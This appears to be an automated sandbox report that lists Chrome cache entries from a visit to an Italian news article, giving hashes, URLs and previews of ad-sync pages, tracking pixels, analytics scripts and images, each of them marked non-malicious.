Encrypted:	false
SSDEEP:	48:kHbL8wDmz2GO5zBYxEGOox1GOeandNbTGOh/gr51jGO+o26YiGOUj5MueOSy9DOh:I8wSR2BYFbxkXqDbqSbVZxUDyPVv50
MD5:	1A57B2F1D7AD6203AA5039614AF458E0
SHA1:	61779696B225F9C9D42FD279C12AE9841671CDC2
SHA-256:	72112948D040ACB55F1159E024B80EA190448E1913B36E49FFAC8C36DF8028BA
SHA-512:	B7D5D0BD119FA60BF7029D5EBA820826BD510DAFD1C978A8B7C03DB7222E153EA8B7B4EA4296D6F07BEFC935AD5048A501AD41BA35A5CF1CC575938348D3E033
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/amzns2s?r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dgg.com%26id%3D
Preview:	<html><head><title></title></head><body>.<img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_860d30c8-2f9d-4439-ae17-bcb7bf671978&gdpr=&gdpr_consent=&us_privacy=" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=&gdpr_consent=" style="display:none;"></iframe>.<img src="https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D" style="display:none;"/>.<img src="https://sync.srv.stackadapt.com/sync?nid=1&gdpr=&gdpr_consent=" style="display:none;"/>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV84NjBkMzBjOC0yZjlkLTQ0MzktYWUxNy1iY2I3YmY2NzE5Nzg=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:none;"></ifra

Chrome Cache Entry: 1002

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1360
Entropy (8bit):	4.786965851332753
Encrypted:	false
SSDEEP:	24:2dznnbRLgjeaxMRPEP5Jn5Tgjq5YWcMhCevU19nq5krMqd5iKSNAe:cTnVTPEbQF19q5kr1b8
MD5:	B4211AF384A733D55D4EEC3D9EBFEDAF
SHA1:	6C3F527BC0605AF9D1945987703692C6796CE571
SHA-256:	533E7A5D03D6CE34DEF7FF3A2CEB0BEE937204A52463A4FBB4D717A7432FDF52
SHA-512:	CC1096EC3FC4FB650CCA6CBA682575EAA78EA00BC81E9904CC7F71EFD64DB1D3D7ABFE31BD035E8D2456429AF917D0BF70E2DBC1ABD8363BFDC8CE67E17B416F
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <title>icons/ic_close_round_1</title>. <g id="icons/ic_close_round_1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">. <path d="M8,0 C12.418278,0 16,3.581722 16,8 C16,12.418278 12.418278,16 8,16 C3.581722,16 0,12.418278 0,8 C0,3.581722 3.581722,0 8,0 Z M8,2 C4.6862915,2 2,4.6862915 2,8 C2,11.3137085 4.6862915,14 8,14 C11.3137085,14 14,11.3137085 14,8 C14,4.6862915 11.3137085,2 8,2 Z M5.87867966,4.46446609 L8,6.58578644 L10.1213203,4.46446609 C10.5118446,4.0739418 11.1450096,4.0739418 11.5355339,4.46446609 C11.9260582,4.85499039 11.9260582,5.48815536 11.5355339,5.87867966 L9.41421356,8 L11.5355339,10.1213203 C11.9260582,10.5118446 11.9260582,11.1450096 11.5355339,11.5355339 C11.1450096,11.9260582 10.5118446,11.9260582 10.1213203,11.5355339 L8,9.41421356 L5.87867966,11.5355339

Chrome Cache Entry: 1003

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	990
Entropy (8bit):	4.283334103713414
Encrypted:	false
SSDEEP:	24:t4MBUuM059XB2ZEwndkOzTwoqfuS2tOMfi:BCD6Ozjo6Lfi
MD5:	5AB8E16B5F46213840BCD403E349419C
SHA1:	F03F6DC8E2206A94119AF76F9A3B3C835390CAE7
SHA-256:	9BA56F5FFA579747EFDE1D2A429B325A9FB7220D30F4268E4A44ECBE4A9BF034
SHA-512:	FC77DC9A3FCDA870D15A5C18B82CE49A782E311BBFDDCA1522710B27A20DA11A1C3E9640DB84419DF74BA5F4C1F176EBA0C431A656CB93211145248C8D138663
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/images/widgetIcons/achoice.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="5" height="5" viewBox="0 0 5 5"><g fill="#37A5BB" fill-rule="evenodd"><path d="M4.999 2.594c-.087.166-.231.271-.398.355L2.13 4.196a.405.405 0 0 1-.486-.063.3.3 0 0 1-.106-.235c.006-.417.007-.836.012-1.253.002-.19.104-.292.281-.292.179 0 .276.1.276.294 0 .258-.001.515-.008.772-.002.092.01.122.11.071.474-.234.95-.463 1.426-.692.128-.061.265-.127.27-.277.003-.143-.129-.213-.249-.278L1.24.907a1.672 1.672 0 0 0-.184-.093c-.2-.078-.363.02-.382.228-.003.036-.002.072-.002.107L.65 3.79c0 .064-.005.13.018.196.052.148.157.203.312.158.052-.015.105-.034.16-.042.207-.027.356.151.286.34a.312.312 0 0 1-.128.17c-.263.146-.512.32-.82.379-.23.043-.386-.054-.448-.271C0 4.61 0 4.499 0 4.389L.031.59c0-.06 0-.124.01-.185A.496.496 0 0 1 .376 0l.279.002c.08.039.163.075.242.118l3.716 1.963c.168.089.31.203.387.378l-.001.133"/><path d="M2.117 1.831a.283.283 0 0 1-.288.278.293.293 0 0 1-.279-.289c.002-.157.128-.273.29-.27.165.003.28.121.277.281Z"/></g></svg>

Chrome Cache Entry: 1004

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65504), with no line terminators
Category:	dropped
Size (bytes):	187416
Entropy (8bit):	5.245089044146766
Encrypted:	false
SSDEEP:	1536:UvH5QWT1QAnjRb0DItek67nOWrbl+tyvuaqmddqiwtRlPDyvSB9TqWDQjNyUcHky:c5QuzRbsIt96TotCub0dqb9qRyY6
MD5:	A84705DC4E55D0FF74CA5E1EDEFBA3DD
SHA1:	4A99A1DDDC3C19AD0DE6791F01F443502C425670
SHA-256:	802E9028483930A2CF1E6CC857183B4404451E72EC9E555845612BACDEEC2490
SHA-512:	73BAC09A4076F95CF47C1A95AFB7111C0E1B6DCD1D98D3982A5A3FC9868240C08D888611D7A998FF4AE2E00A6214BF3BF71C7E36B150A0E7E558C643EAD5CE65
Malicious:	false
Reputation:	low
Preview:	this.monitoring=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=509)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return k})),n

Chrome Cache Entry: 1005

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (41957)
Category:	downloaded
Size (bytes):	41973
Entropy (8bit):	5.299710677376654
Encrypted:	false
SSDEEP:	768:fgQ82a2qbJ/A2T1PkIagOUlDgJUmnz8QDX/0JVro1lwmXaEKDStrU2GRdOfZCV/a:0lX1UnnzBUVfS5xi+
MD5:	9FEAFB1E202E0BEC5FE57D365ADF2E05
SHA1:	020F652BC788B9B11A0B86FC1FA5B9D4F9C80CD8
SHA-256:	95FBABEDB3CDCE723A6D587747D3D7456F488F755CF4500FF01863F714D45BBF
SHA-512:	B2E69EC2733F1BC7ED78FFC439E33D443A46D2786E4702DCAAEA33ACFEAAA33612D19651D3E3AA1DA04B8257EDDF3FC5FA63CFEEF8FF5973A7E69F0B9066949D
Malicious:	false
Reputation:	low
URL:	https://assets.a-mo.net/js/idw.js?ga=0&gc=&do=bsnews.it&e=27&uid=10735680-48cc-46aa-8323-b54c7155938b&k=am%2Fid59094822.00000000000000000000000000000000
Preview:	void(0);/* */;.!function(){function e(e){return Object.keys(e).map((t=>{const s=e[t];return Array.isArray(s)?s.map((e=>`${v(e+"[]")}=${v(e)}`)).join("&"):`${v(t)}=${v(void 0===s?"":s)}`})).join("&")}function t(e){return new Promise(((t,s)=>{e.oncomplete=e.onsuccess=()=>t(e.result),e.onabort=e.onerror=()=>s(e.error)}))}function s(e,s){const n=indexedDB.open(e);n.onupgradeneeded=()=>n.result.createObjectStore(s);const r=t(n);return(e,t)=>r.then((n=>t(n.transaction(s,e).objectStore(s))))}function n(){return O\|\|(O=s("keyval-store","keyval")),O}function r(e){return e}function i(e){let t=null;if(z.cookiesAreEnabled()&&(t=z.getCookie(e,void 0)),z.hasLocalStorage()&&null===t){const s=z.getDataFromLocalStorage(`${e}_exp`,void 0);(""===s\|\|null===s\|\|s&&new Date(parseInt(s,10)).getTime()-Date.now()>0)&&(t=z.getDataFromLocalStorage(e,void 0))}return t}function o(e,t,s=S()+6048e5){if(e&&t){let n=new Date(s).toUTCString();z.cookiesAreEnabled()&&z.setCookie(e,t,n,"Lax",W,void 0),z.hasLocalStorage()&&(

Chrome Cache Entry: 1006

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.867949125578415
Encrypted:	false
SSDEEP:	3:YGKWAdQfhdifH2IeApH1JYMQ5UNPqB4YlLbNAHHJMOA+mlEhHfNuAHNrNn:YGKHWH8WQ1/PQllAH0qhHVbHNRn
MD5:	F05D473A477A940F8F6E2A16CE5C2D8A
SHA1:	856350CF4DEE3A26F7412DEECD5467288FD416EB
SHA-256:	AC3D0E9519D49A3C4811FEF5BD236CD8A1DE451D1B30AD3AEFE72DA92F125B00
SHA-512:	9A0D9BAD4B5D9A98187E7EBD56AD1C9485DF6C449012F751AADCC1600817426640BAFA76E442FF9E0ACF39F618B758DF817F9A34051294A868927F718BBE73FC
Malicious:	false
Reputation:	low
Preview:	{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]}}

Chrome Cache Entry: 1007

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1611), with no line terminators
Category:	downloaded
Size (bytes):	1611
Entropy (8bit):	5.29466138271578
Encrypted:	false
SSDEEP:	24:kRYDSY52iZ/1qSYRpKSYATSetSYy+gyhtSY0KSYe8SYQJSYNQONSYt:kU5hN2RWAPuWz5e6QuOTt
MD5:	E14EFD204F89F4A180F02ECCFA12ACB2
SHA1:	62BC80D12C2444201DA3FDF1B721C7ED543B66A4
SHA-256:	101BD3E50B052A656088B377E2217BF40992DCD5E2057845058FAF04CA674E77
SHA-512:	1E27CDC78F1FEC77C901FB6B3466A6041C52FD9316277AAB9A187320E227113E466812D973E73761A49E94279609FE9A7AF99E6B55B9174F1C50AB28099EA68C
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatch?s=195491&cb=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D333%26uid%3D
Preview:	<html><head><title></title></head><body><img src="https://cms.quantserve.com/pixel/p-Z8PuJEk6U7Hyq.gif?idmatch=0" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://ups.analytics.yahoo.com/ups/55940/sync?_origin=1&redir2=true&uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://match.prod.bidr.io/cookie-sync/ie" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://casale-match.dotomi.com/match/bounce/current?networkId=19998&version=1" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://ssbsync.smartadserver.com/api/sync?callerId=82&gdpr=$%7bGDPR%7d&gdpr_consent=$%7bGDPR_CONSENT%7d" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://capi.connatix.com/us/pixel?puid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&pId=17&gdpr_consent=&am

Chrome Cache Entry: 1008

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	108
Entropy (8bit):	4.851748095647955
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HHVIoCYKgQnIwBM4D/YCkLpSfO:8WiIUemo/H1fCYKbY4D0iO
MD5:	A6E49B54ED8F8A091543906578B6D2AC
SHA1:	54420580C63EFEDD68DB85467698C452838C3822
SHA-256:	36AACC7EE0158ED7560495A60BBC380BC09F1C092B4ADB2255F4B27E5C41E3FE
SHA-512:	2B442E766AFE786C80EA967EDB2A84BBFAF49F20E1DE72FE82140029AE1B134D4C41E447ACF9AA957FEFF711E84677D379CEC99770FD46F00369FF04001DA226
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=3&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%2C%22id5%22%3A%22ID5*t-hyak_q_UQvB6ez3TT_17w3X0Ef8s4Kslmg1-Kc-tuQD_uGA_mUXTf7YNdVZuNN%22%7D%7D
Preview:	apstag.punt({"cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_smrt_sovrn","cb":"3"})

Chrome Cache Entry: 1009

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (588)
Category:	downloaded
Size (bytes):	589
Entropy (8bit):	5.326526879534376
Encrypted:	false
SSDEEP:	12:sDxg/lUvYciIoolotBi2h4J9x/ZFCoicolRdGoaKKABPPBDCn:MHYciImBiAUx/5icqdGoaKKANBe
MD5:	A3170D9090E8F8EC6E6CA709638D0414
SHA1:	A50EA4095C91E24D27F3956D1AB722418E188FBD
SHA-256:	2F42B43C819707448E996A8B39F49B9D07EDFD2ADB821F0BE19CB170D3A03969
SHA-512:	40DD569835710C9C106D582634587133410B03D8EDCDC42FD917104DF0D73E9E50C9E92B9AA85787F83A70EEF07DE1F0FEB750DEC435D89A317ED17399BFEC35
Malicious:	false
Reputation:	low
URL:	https://cdn.digitrend.it/dpiu/script.dipiu.init.js
Preview:	eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]\|\|c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l 2=7.8(\'4\'),1=7.9;2.3=1.3.a(0,1.3.b(\'/\'))+\'/4.d.c?f=\'+g.h();i(1.6)1.5.j(2,1.6);k 1.5.e(2);',22,22,'\|current_script\|dpiu_real_script\|src\|script\|parentNode\|nextSibling\|document\|createElement\|currentScript\|substr\|lastIndexOf\|js\|dipiu\|appendChild\|t\|Date\|now\|if\|insertBefore\|else\|var'.split('\|'),0,{})).

Chrome Cache Entry: 1010

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1012

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 1013

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1482
Entropy (8bit):	6.105852077694455
Encrypted:	false
SSDEEP:	24:YjHJHws9CMpAt/M3SuMoZ3i9JMMr3tEqLDkMmTo4qv61B0WFmGY7BR9bRz:YNHN9RKZ/o3aJMMr9EqDHm8M1BFmhV
MD5:	6C1518C41A8B2A68629798CB96954C95
SHA1:	4F086E0E41F45086EE198C92D8CE37266F9C9B35
SHA-256:	7C6F7ECBE3308702AD000F54B15A8185878A2F550B83CC78F91953F0F54EEF75
SHA-512:	7FA2DDBF81D7329AD022D25B981ED518BAE0995C47C1F1AB56B414C6949A0B8F573E68B235D48875D5EA59CB153E5DC4935AC153D4B50AFF2A01399B56E9A48A
Malicious:	false
Reputation:	low
URL:	https://s.seedtag.com/c/pv?token=9563-3051-01&device=desktop&fullUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&cache=1711615900518&v=-&ft=true
Preview:	{"a":true,"u":"US","i":false,"c":[{"type":"html-content","src":"\n <script>\n window._qevents = window._qevents \|\| []\n window._qevents.push({\"qacct\":\"p-PFW5FesqXn206\",\"labels\":[\"Publisher.bsnews.it\",\"Pub Category.20\",\"Page Category.none\"],\"event\":\"refresh\"})\n </script>\n <script async=\"true\" src=\"https://secure.quantserve.com/quant.js\"></script>"},{"type":"iframe","src":"https://cs.seedtag.com/cs.html?pt=9563-3051-01&pc=IT"}],"e":"YWCUbwA/kMe/rnjp6CSolzrL7RmcJ3QrQ1dG6/a9o6Kj+Yj2HTcX7l2nh9brKLfPZak4LTPcBASENNS1wjOlkn4lTMnf72tyKqXl48EuGjKuRkaw0wFNuc2dRTrKq344zddP3RRboTAAUZQ0TdNfd7bGto2wnR+0FoIr2ZTWR4xFUYcYNS3fE7n2vdzEVI8vsPGtiPFveXeUpAwqorfWRZBhLt4Kzvu2mDG4YvM8wB2VMyhtOM4OlMcsaE6vbha1Ek5dPEDKeX188MuR/s5t9AXuMiLZxbYF0scNkOtAqlsBaeyvUs6YnR1y/MNXqkw+KhWNfebhxVSBxSqAzFvAHC7orkVkGUJCywnaDVCMeJZla+N3NZ+f6lzUBimgnS7gGIKUesuxBRboElY20rrXdvrzRC/+WJqP+HoDoVqiqzlBzlFevq6INc14bCtZs/hgwYnbouOuqjZrqy51bcCZn8WF9jWvlwR+JwF1P956SOCP1ERh3KjRMnehWjcgH8vJX5

Chrome Cache Entry: 1014

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 324 x 160, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	35091
Entropy (8bit):	7.989887677244192
Encrypted:	false
SSDEEP:	768:soJ18KjpxMsRUZC1L7OXmLLxD+k0hHnfVua9HVz0VV7X:so8upbAC1Ljxak4HnfVbHVQzX
MD5:	F679E9C00A3979E85F563B9200100922
SHA1:	E645ED9524EE2BEA8357669E301F213D1C5445BF
SHA-256:	6399CCAF04B5B64AFE365FCCDDF1A0FF808D2F28E6A8B2F7746CE283462463A5
SHA-512:	01011A723C1F9D054DEF9D07D91465D6C8AB00DAEA4A5448402D2DC84F683BCFE137E974ABCB15170768D390E0E305CCFDC2165CF2EE6204C0C50A98B31CCEF4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...D.........C.......PLTE...322HED.../..100JGF...>=>,,+?<;DA?434A><BAB;:;878B?>DCD))(LII865FEFPMM:9:667%%$655@?@EBA...IHJ<<=TQQGDB_^c...=:9NKJHFGRON...""!baeWTTedi..@@A\[_......LKMiinYX\[XXmlqQPSVVY...TSV...NMPxvz.........gfk......ssy.......}.....................................nnt...{z};87......`]].........rqu...zh...87...............z............................o.n]......uc..............................y}..........ux................\|...........u....jZ...................\|..........y......yts.........jed.........\|o.y....w{.....BDJ..emz......zu...njj......._P...........o.....v...uom.oiu..pc..y...v^W............zp......j_............ZO......[O...ogiPI.LB.xjl......g[...WHD..........>4p4+U#.?M]...D....IDATx.t..X...6.S..3.af.3....\...p....eU0...I..."...*r..h.j4..b.o .S....I5V0...X..G=.n...%.....?......^.n......,../.k.............\|......y/.3Ob....k.....?...../Y.../..e..GDD

Chrome Cache Entry: 1015

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4317
Entropy (8bit):	5.0008243204696985
Encrypted:	false
SSDEEP:	96:BKIPvT7TbbT8DFQMgsVZqkPDekIyQNVmyMX4DBFyQrQgVIg/2TeR0AbuYu7OY:pTMgsVZPD0FNVmYBFyQ8gVIg/2K0Abuf
MD5:	4CF18196F664F87627FEA9BD2CDC5318
SHA1:	0478D4877D91338742A2FF63EE660BFAE16755F3
SHA-256:	861AB2DFF3A21AD532112CED7E6029810A04EF99B28F13195DF945F257C11BD7
SHA-512:	8B4B36167D2506EF73C5F3B1879ACF4FCA0373BF24D797BFD1A426C5A99D19192137A53A7DE62EEC3157766313F3D4B2D36970D62DAEF1BB8E860DAA8E2911FD
Malicious:	false
Reputation:	low
Preview:	{"":{"plural_forms":"nplurals=2; plural=n != 1;","language":"it","localeSlug":"it"},"Be the first to like this.":["Di' per primo che ti piace."],"You like this.":["Ti piace."],"One blogger likes this.":["Piace a un blogger."],"You and %s other bloggers like this.":["Piace a te e ad altri %s blogger."],"You and one other blogger like this.":["Piace a te e a un altro blogger."],"%s bloggers like this.":["Piace a %s blogger."],"You and <a href=\"%1$s\" id=\"%2$s\">%3$s other bloggers<\/a> like this.":["Questo piace a te e altri <a href=\"%1$s\" id=\"%2$s\">%3$s blogger<\/a>."],"<a href=\"%1$s\" id=\"%2$s\">%3$s bloggers<\/a> like this.":["Questo piace a <a href=\"%1$s\" id=\"%2$s\">%3$s blogger<\/a>."],"<a href=\"%1$s\" id=\"%2$s\">%3$s likes<\/a>":["<a href=\"%1$s\" id=\"%2$s\">%3$s Mi piace<\/a>"],"<a href=\"%1$s\" id=\"%2$s\">%3$s like<\/a>":["<a href=\"%1$s\" id=\"%2$s\">%3$s Mi piace<\/a>"],"My Grav.":["Il mio Grav."],"1 like":["1 Mi piace"],"%d likes":["%d Mi piace"],"%s's avatar":[

Chrome Cache Entry: 1016

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8398
Entropy (8bit):	7.977182967534433
Encrypted:	false
SSDEEP:	192:k04BoWILur+hihhwtFL1S0t2abKBZdmpGTaXkOYY:k/o/Lwuttm0CBZdmL9YY
MD5:	68FB931F12C71F55E6FB0A370483107F
SHA1:	742D4515227DDCC1786FF38477E2AB74298D4C40
SHA-256:	D1F35B123C6C0ED1DDE9B75C2914C0535039FCEDF6E391FA6E1CCC2977ACBA7C
SHA-512:	49A5EE3EC96AD9FCE5B4B2A3F8B8B45BE2364B7F07B20ED3B70EB2C9DDF9DE5EDFACD6FBE002E9566ED976BC4BEB1966E457668B8CD7D17DAB6508B3E57A5613
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg?resize=324%2C160&ssl=1
Preview:	RIFF. ..WEBPVP8 . ..0....D...>m..G$"!.).....c..C.....4........?.?.W....T../.g......{..H.G.Gm.;..}{......j.yF...G......]..z}..;..w..,......].R.}.~..'.....2..........c......'.....k..D.X.N.N..c..X4..9e..PT.....=.....{=.m{.ky...s..R..._...o0.X..5...gn.A..b...........t..F.8....FPr..%....I.....m....!B...R..>lv.G.u..AR......E.~.1.~co.\|.."<X...`../)D....'...0..d..-...p2.0......B4U0..Pt..6-....s..R.2.%Bd...........Z;>^.....Wj...3..J....7.........7b.j.s}.~..3.~...P..G_.&.......w...y<[..M.OcfG40...E..o.{a.4..bF.u...?.6NK^./..jI.....gW.....)Q.xq.0...lX.5.5.V...fe....y.&.MCc`....9....9s8..p.e...n..$...V..(~.....GS.bI......ko..\.......{...? k.u..\|..C.cI..>..2..3...2....Z..s.......B.w..d.a.H..n>.+...5....6.E.(D...[...2.=.k.".L_..'\|[.+...r.m....(6:.......1...zJ...O:........H.....Y.NV..e.a..h.s.P.^tg5.:.D.M....uTw:.....p..p...j.Y...<q....T...k\.............QC.7..._9...mtS. N.U.g<..2..]co........>O.I.<...@....RQ....L.Ln..;H.!S..7.;....

Chrome Cache Entry: 1017

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	low
URL:	https://mcdp-chidc2.outbrain.com/l?token=fd46e5e926e3c2f06ea3af560c4aed52_30351_1711615904713_1&tm=22939&eT=0&widgetWidth=690&widgetHeight=226&widgetX=101&widgetY=2944&wRV=2010731&pVis=0&lsd=605efeb6-d03d-4c86-b581-346f2597a6eb&eIdx=&oo=false&lo=27464&obreq=26012&mvreq=27788&mvres=50075&re=50435&cet=3g&cs=4&to=1711615856221&ll=0&chs=1&ab=0&wl=0&retries=1
Preview:	ok

Chrome Cache Entry: 1018

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
